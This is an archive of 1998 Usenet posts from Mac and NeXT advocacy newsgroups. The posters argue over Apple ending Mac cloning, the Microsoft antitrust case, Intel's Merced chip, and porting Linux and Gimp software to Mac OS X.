: I'm sure that GTK+ could be ported to run anywhere Xlib is. I doubt that a
: port that was free of Xlib would be worth the effort. Building GUIs on OSX
: isn't that hard, and it is lightyears ahead of anything I've ever seen on
: any X based system (and yes, I know about glade)
You'd port the Gimp by replacing GTK+ calls for OSX GUI alternatives?
The reson I mentioned the GTK+ port was that I had heard people discussing
that as a possible route for a migration off X11. From the postings I'd
seen, some people consider GTK+ a good enough and popular enough
abstraction layer to make that possible.
John
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 01:57:18 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1611982056400001@pm61-36.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <87emr3v5aj.fsf@globalreach.net>
Phil Fraering <pgf@globalreach.net> wrote:
> cirby@magicnet.net (Chad Irby) writes:
>
> > Let's see... UMAX is a fairly huge industrial conglomerate (making a lot
> > more than just computers and scanners), and hardly "tiny" under any
> > definition. Motorola is, by any measure, much larger than Apple, and
> > holds the keys to Apple's core business due to their production of most of
> > the PPC chips.
>
> Uh, IBM is a second-source with licenses to all of the requisite chips.
Whoopee.
That still doesn't explain how those "little bitty companies" like
Motorola and UMAX would have trouble pressuring Apple to allow clones.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 17:54:08 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1711980956430001@netnews.worldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com> <01be0f87$f87c2640$06387880@chewy> <364DC469.395BDD91@spamtoNull.com> <01be1023$3446fd80$06387880@chewy> <36506692.9173FE97@spamtoNull.com> <ckoller-ya02408000R1611981410520001@netnews.worldnet.att.net> <3651A8D7.50E811D8@spamtoNull.com>
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In article <3651A8D7.50E811D8@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> As for mass-element in this issue, I don't see it. I see a bunch of
> pissed off Microsoft competitors who realize they've been sitting on
> their butts for too long. I see a bunch of Microsoft competitors driving
> this issue because they believe that unless the government steps in and
> "levels the playing field" they can't compete. Apparently, they think
> the government's job is to represent *their* interests. I think they'll
> be disappointed to find that the government will find it just as easy to
> regulate them, as well as Microsoft.
>
Exactly. But I guess there are those MS competitors who believe that
*anything* is better than a world run by Bill. At least with spaghetti
beaurocracy at the helm, change is tougher to implement and it's easier to
sleep nights, rather than fearing one fiesty little geek in Redmond who can
turn the industry upside down, and your profits OFF, in the blink of an
eye.
Nobody has any idea what they're getting into here, but I think it's just
part of the lifecycle of innovation. This ain't the Homebrew club any more,
and there's just way too much money here (not to mention influence on the
daily life of all Americans and American businesses) for the gummit not to
get involved.
But without this browser war, it could have been several years before
Washington intervened.
Additionally, I think the Y2K debacle is going to raise some legislative
eyebrows and bring about further regulation upon the computer industry.
"Why do we require permits and inspections and accountability for buildings
that house business and services, and not the software that *runs* business
and services?"
Goodbye hands-off policy...
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 17 Nov 1998 22:14:50 -0700
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-1711982214500001@dopey.met.utah.edu>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <3652330f.0@news1.ibm.net> <cirby-1711982209450001@pm61-13.magicnet.net>
NNTP-Posting-Date: 18 Nov 1998 05:13:05 GMT
In article <cirby-1711982209450001@pm61-13.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> Yves R. Crevecoeur <creveco@ibm.net> wrote:
>
> > What kind of a modern OS does not support multi processing?
>
> Windows 98?
As far as I know, the only OS that supports SMP on Apple hardware is
MkLinux. Not even LinuxPPC does so at this time. :-(
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 14:22:40 -0500
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <ug1bip1j3.fsf@ai.mit.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com> <72ppi3$qmu$1@nnrp1.dejanews.com> <36519895.5AF11382@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> writes:
> Charles Swiger wrote:
> > Why? What evidence do you have that doing IE for the Mac does not
> > benefit MS more than Apple?
>
> IF Apple had said to Microsoft, "Let us use IE as our default browser
> and we'll buy $150 million of Microsoft stock and keep it three years
> before we sell it," I'd be inclined to agree with you...
Huh? You'd agree that deploying IE for the Mac would be considered a
good move for Microsoft only if Apple had to invest heavily in
Microsoft to get it? Isn't that like MS saying "IE as the default Mac
browser is really good for us, so you'll have to give us lots of money
in order for us to do it". That doesn't make sense to me.
It makes more sense for MS to say something along the lines of "IE as
the default Mac browser is really good for us, so we'll throw some
cash your way if you can make it the default." Now, if MS invested
heavily in Apple, that would make...um, wait...isn't that what
happened?
I don't know, Jonathan; I think I'm missing something. Can you
explain it better? Or are you just assuming that IE on the Mac has
*no* value to Microsoft, so it's only the $150 million which
represents the profit in the deal?
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2Lqz5.31q@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com> <adtF2JDJC.9zt@netcom.com> <3651AFA2.7092FB5C@spamtoNull.com>
Date: Wed, 18 Nov 1998 05:23:29 GMT
Sender: adt@netcom17.netcom.com
Jonathan Harker (Limeyville@spamtoNull.com) wrote:
: "Anthony D. Tribelli" wrote:
: > Jonathan Harker (Limeyville@spamtoNull.com) wrote:
: > : Let's talk some numbers ...
: >
: > No, they are not relevant. I think you missed my point. WinNT is portable,
: > it can go wherever the cusomers go. Whether that is Merced or not does not
: > matter to Microsoft, it only matters to Intel. Microsoft is no longer
: > dependent on Intel CPUs.
:
: And you completely missed my point, which is that if Microsoft was
: limited to the portion of its market that is non-X86, the company would
: file chapter 11 next week...:)
Actually I got your point, but your point didn't invalidate the fact that
Microsoft only needs to follow the customers while Intel needs to lead the
customers to Intel solutions.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 17:56:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72sdc9$4do$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com> <tbrown-1411982220190001@mv231.axom.com> <36506CF9.D2B4ED0A@spamtoNull.com>
In article <36506CF9.D2B4ED0A@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> No, that is not an adequate summation of my position. I've made no
>> statements of how much Mac IE helped Apple, as it's beside the point.
>> Competition is good, I'm glad that MS made IE. Even though I don't use it
>> currently, I still directly benefit from it's existence.
>
> Why is it that each and every time something that Microsoft may have
> done that benefits Apple is mentioned it is deemed "beside the point?"
That's an excellent question.
I guess the most practical answer I can give is that if it wouldn't make a
difference to the current anti-trust lawsuit, it's "beside the point".
> I don't use IE, either, but have always preferred Netscape's approach to
> browsing. However, I often wonder if I would enjoy Communicator as much
> as I do if there had never been an IE. As you say, competition is a good
> thing, and prior to IE, Netscape had none.
Netscape got better due to competition from IE, agreed. But Netscape did have
competition from other web browsers like Mosaic, lynx, or even TBL's original
WorldWideWeb.app. :-)
More seriously, where do think the codename "Mozilla" came from?
> I think that every positive thing Microsoft has done regarding Apple has
> a whole lot of relevance--certainly as much relevance as the rumored,
> not so obvious things Microsoft has supposedly done to hurt Apple.
Why? To resort to analogy, if a thief gives some of his money to charity,
does that have any relevance to the criminality of his theft?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 22:36:28 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981116223628225539@pm2-3-21.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtonull.com> <72k42p$6g0@newsb.netnews.att.com> <364DE4C2.1E0A459D@spamtoNull.com> <19981114211835178996@pm2-3-11.aug.com> <36506A3E.4852D4F6@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Rick wrote:
> >
> >
> > You dont think at all.
> > --
>
>
> Translated, this means: "You don't think at all because if you did you'd
> agree with me."...:)
in this instance, yes.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 22:36:30 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981116223630225692@pm2-3-21.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com> <cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com> <72k3sa$6dn@newsb.netnews.att.com> <19981114211833178855@pm2-3-11.aug.com> <3650685E.EC7DF91F@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > Settlement? The case was thrown out of court. The judge sais even IF all
> > of Ms. Jones allegations were true, there was no workplace sexual
> > harrassment. Get a clue.
>
>
> You haven't watched the news lately? Clinton barfed up $850,000 to Ms.
> Jones (I think that's the right amount) just a couple of days ago. You
> need to get out more...:)
Fine. Fine. The coase was still thrown out of court for lack of merit.
She appealed. They agreed on 850K.... but the case ws still thrown out.
--
Remove nojunk from my email address to reply by email.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:41:46 -0500
Content-Transfer-Encoding: 7bit
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Organization: EarthLink Network, Inc.
Content-Type: text/plain; charset=us-ascii
Mime-Version: 1.0
Message-ID: <3651B55A.62B4AA04@spamtoNull.com>
Sal Denaro wrote:
>
> Of course, you still haven't posted anything to back up your statements.
I did...that was the part of the post you omitted when you took that one
remark out of context.
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: 17 Nov 1998 02:49:27 GMT
Organization: University of Waterloo
Message-ID: <911270967.118730@watserv4.uwaterloo.ca>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <72opu2$nbk$1@news.xmission.com> <911239453.676684@watserv4.uwaterloo.ca> <72q1e4$jf8$1@news.xmission.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <72q1e4$jf8$1@news.xmission.com>,
Don Yacktman <don@misckit.com> wrote:
>
>Well, it was fun to write and has a lot of features I'd love to see appear in
>MOSX apps. I have shared some of my architectural specs (for style and
>shape/tool plugins) with Andy so he knows nearly exactly how I implemented
>the styles stuff.
Good stuff.
>Note also that Mark Onyschuk's GlyphiX! app is a lot like Diagram!, and he
>knows what I did, too, so it isn't unreasonable to see features like these
>appearing in future apps.
I'm really looking forward to GlyphiX!. Glad to see the "seeds" of Opus
spreading, as much as they're allowed to.
>I know, it is sort of mean to do...but it is important for people who don't
>understand the technology to have an idea of what can be done and how easy it
>is to do it...
>
"Anything I can dream up by reading the red and purple books". :-)
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:47:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrjk$kui@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se>
On Mon, 16 Nov 1998 17:21:28 -0600,
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>Prosecution of Microsoft under unjust laws would lead to strengthening
>and expanding those laws.
That is assuming that those laws are somehow "unjust" by some definition
of justice that isn't totally subjective. I've yet to see any definition
of "justice" "morality" or "freedom" that wasn't subjective.
Those laws were written by democratically elected representatives of the
people, and signed into law by a democratically elected executive; who
swore and oath to uphold the constitution. Those laws were declared to be
constitutional by the justices of the supreme court.
Personally, I think it is a great injustice for government not to act in
the best interest of those who elected them, in accordance with the
constitution; even if it means doing things that are unpopular. (Like
ending segregation or prosecuting Microsoft. )
<clip>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:47:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrjl$kui@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com>
On Sat, 14 Nov 1998 11:43:58 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>they've got a virtual springboard into the future. And, when Merced is
>first released, it'll probably take a year to enter the mainstream
>markets, and another couple of years after that to dominate them.
I doubt that Merced will make any dents in the mainstream market for
at least 2 years, and will not ship anywhere close to the x86 lines
for at least 3 chip generations.
Here's why:
1) x86 isn't dead yet: AMD and Cyrix both have chips that will meet
or exceed Merced in P/P due in the Merced timeframe
2) Intel will have an x86 chip that matches Merced in P/P in the
Merced timeframe
3) Intel doesn't expect Merced to beat x86 in P/P, or in absolute
performance in the first generation
4) Every attempt at VLIW has faltered
5) Sparc and Alpha machines both have mature 64bit platforms _now_
(and Solaris is 64bit as of S7)
(and I know a guy at Intel who flat out told me that Intel isn't planning
to sell Merced as anything other than a server solution until 2003. Don't
hold your breath waiting for a Packard Bell $995 Merced box any time soon)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:47:02 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrjm$kui@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com>
On 16 Nov 1998 19:46:51 GMT, gupta@knim.tm.tta.moc-mirror
after @ <gupta@knim.tm.tta.moc-mirrorafter@> wrote:
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>>As far as I am concerned it has never been demonstrated that killing
>>Apple cloning was "necessary" to Apple's survival. At the time cloning
>>was killed Apple had around 90% of the Mac-compatible market to itself
>>anyway. In these days since cloning was killed we've seen layoffs,
----------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Gil started the first wave of layoffs during the cloning era.
>It has never been demonstrated either, that cloning increased the
>Macintosh marketshare by even a smidgen.
>>factory closings, and asset sales *anyway*. Jobs has never been able to
>>abide cloning for personal, philosophical reasons. Clone companies have
>Since you are talking about demonstrations and proofs, what demonstration
>is there that "Jobs has not been able to abide cloning for personal,
>philosophical reasons". What are these reasons ? Where in the public
>record are these expressed ?
In _Wired_ Steve stated that cloning would have worked in the 1989 to 1992
period, before Windows became to firmly entrenched. He made this statment
_before_ he returned to Apple, and is a pretty clear indication that he
wasn't morally opposed to cloning, but saw it as a business move.
>>Jobs works. He simply can't work in a cooperative environment of equals,
>>or even near-equals. Unless he's in a dictatorial position, he simply
>>can't function. The idea of cooperating with clone companies for the
>Again, demonstrate.
As much as I hate to say it, JH may be right on this account. There is
plenty of anecdotal evidence to support this about Steve Jobs. There is
also plenty of anecdotal evidence to support this about Bill Gates, Jean
Loius Gasse (sp?), and Richard Stallman. I can also add Frank Lloyd Wright,
Winston Churchill, Henry Ford and Stan Getz to that list.
>During the cloning period, Apple lacked what Microsoft's Halloween
>document calls "Long Term Credibility".
I would extend the credibility gap to include the Scully's last year, and
the entire time up to the return of Jobs.
>It is a fragile situation -- Apple could very easily slip and tumble down
>the staircase of skepticism again.
I concur. They are hardly out of the woods yet.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:50:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrqc$l0q@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com>
On Mon, 16 Nov 1998 13:07:46 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Right. Sworn testimony by two people with a long history of
>anti-Microsoft bias.
Compaq is "anti-Microsoft"?
They made it pretty clear that MS kept them from shipping QT on thier
systems.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:50:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrqd$l0q@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com>
On Sat, 14 Nov 1998 11:58:45 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>to mind some well publicized quotes I recall from Jobs and other people
>at Apple a while back concerning "Milking the Mac architecture" as a
>viable marketing goal for the near term.
This is true, and is a direct quote from Jobs (from Fortune and/or Wired)
from a few years back.
The quote was "Milk the mac for all it's worth, while moving on to the
next big thing"
Between 1986 and 1996, Apple milked the Mac for all it was worth, but
didn't move on to the next big thing.
This is _common_ practice in the world of business. Ford milked the Model-T
for all it was worth while working on the Model-A. Microsoft milked Win3.x
for all it was worth while working on WinNT and Win9x.
Why anyone is shocked by this quote is beyond me.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:50:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrqe$l0q@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <cirby-1211981241390001@pm61-46.magicnet.net> <364B402E.E37AB031@spamtoNull.com> <cirby-1211981630420001@pm61-29.magicnet.net> <364C7C99.9D80388D@spamtoNull.com> <72k83s$caq@news1.panix.com> <36503997.2630A329@spamtoNull.com>
On Mon, 16 Nov 1998 09:41:27 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>>
>> On Fri, 13 Nov 1998 13:38:17 -0500,
>> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> >> There has been *nothing* to back up your little hopeful dream.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> >The version I relate is precisely the version which occurred. Your
>> >rendition is merely revisionism.
>> Ahh!! The very clever "Did so! Did not!" defense.
>Ah, such a clever reply to my out-of-context remark...:)
Of course, you still haven't posted anything to back up your statements.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 03:51:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrrq$l1b@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com> <72k841$caq@news1.panix.com> <36503E09.44F638ED@spamtoNull.com>
On Mon, 16 Nov 1998 10:00:25 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> You agree that Apple's actions when they shut down thier cloners was
>> wrong, but you don't think MS's actions in attempting to shut down
>> QuickTime was wrong? Do you really think that it is ok to attempt a
>> crime, as long as you don't succeed?
>>
>> I find that logic hard to understand.
>
>It's actually very simple. We *know* that Apple tried and succeeded to
>shut down Apple cloning. That is an undisputed fact. We don't know that
>"Microsoft tried to kill Quicktime"
_We_ do know that. We have email _from microsoft_ where they clearly state
that they want to kill off QuickTime.
>Microsoft to "kill" Quicktime is supported by a tenuous few emails years
>old (which were *not* public record)
That email is _from_ Microsoft, and is dated from the time that the attempt
to kill QuickTime took place.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 17 Nov 1998 03:51:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72qrrs$l1b@news1.panix.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net>
On Mon, 16 Nov 1998 11:00:53 -0500, Corey Winesett <winesett@voy.net> wrote:
>This is what I was looking for in my original question. Not specifically
>Word Perfect but Linux Apps in general. I was just using Word Perfect as
>an example, because it is high profile.
Most non-X11 based Linux apps should port with little or no problem. If they
do not use autoconf, you might have to edit the makefiles. I'm willing to bet
that within 90 days of OSX shipping, you'll be able to download .pkg's for
most of the more popular unix tools.
>Gimp?
This was ported to run on NS3.3 with an X server. Assuming that this X server
is ported to OSX, you should be able to run it.
Gimp also runs on NT with an X server. There are NT folks working to build a
new, NT based front end to Gimp. You might want to search the web for them.
If they manage to do a good enough job at decoupling Gimp from X, it might be
a pretty easy task to build a new OSX based UI for Gimp. Heck, I would work
on it just for kicks. I'm hoping that the market for YB will start to take
off within a couple of years of the OSX release.
>Oracle products? Whatever?
This is up to Oracle. The Unix version should port without much work.
>And what about other Unixes?
OSX is a BSD unix. Apple is even working with the various BSD groups (netbsd,
OpenBSD and FreeBSD.), exchanging source code and cooperating with development.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2LrEG.3px@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <72srls$r7d@newsb.netnews.att.com>
Date: Wed, 18 Nov 1998 05:32:40 GMT
Sender: adt@netcom17.netcom.com
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >Apple is far from bring a monopoly with respect to personal computers in
: >general, but their OS monopoly in the PowerPC desktop market was larger
: >than Microsoft's monopoly of the x86 desktop market. The fact that there
: >were millions of x86 based systems out there did not lessen the control
: >Apple had on companies that manufactured PowerPC based consumer oriented
: >desktop systems.
:
: Yeah, right ! Wasn't it Microsoft that wanted $400 million to keep
: Windows NT for PowerPC, and wasn't it IBM and Motorola that refused ?
WinNT for PowerPC didn't sell, MacOS did. MacOS retained control.
: Likewise, IBM and/or Motorola could have backed BeOS had they wanted to,
: like Intel is doing today ...
BeOS wasn't very far along at the time, cloners can't sell beta systems.
MacOS retained control.
: ... IBM could have released OS/2 for PowerPC had they so chosen ...
They did release OS/2 for PowerPC in a corporate channel, it didn't sell
well. MacOS retained control.
: ... IBM and/or Motorola could have had licensed companies
: to build boxes to run BeOS, OS/2, Windows NT, without Apple's permission
: and without waiting for Apple to support CHRP.
Cloners could not have offered unfinished software. Some companies did
offer WinNT on PREP systems, it didn't sell, just like OS/2 on x86. Would
you suggest that OS/2 on x86 is proof of Microsoft not have monopolistic
control?
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 17 Nov 1998 04:39:57 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <72qumt$8n3$2@cronkite.cs.umd.edu>
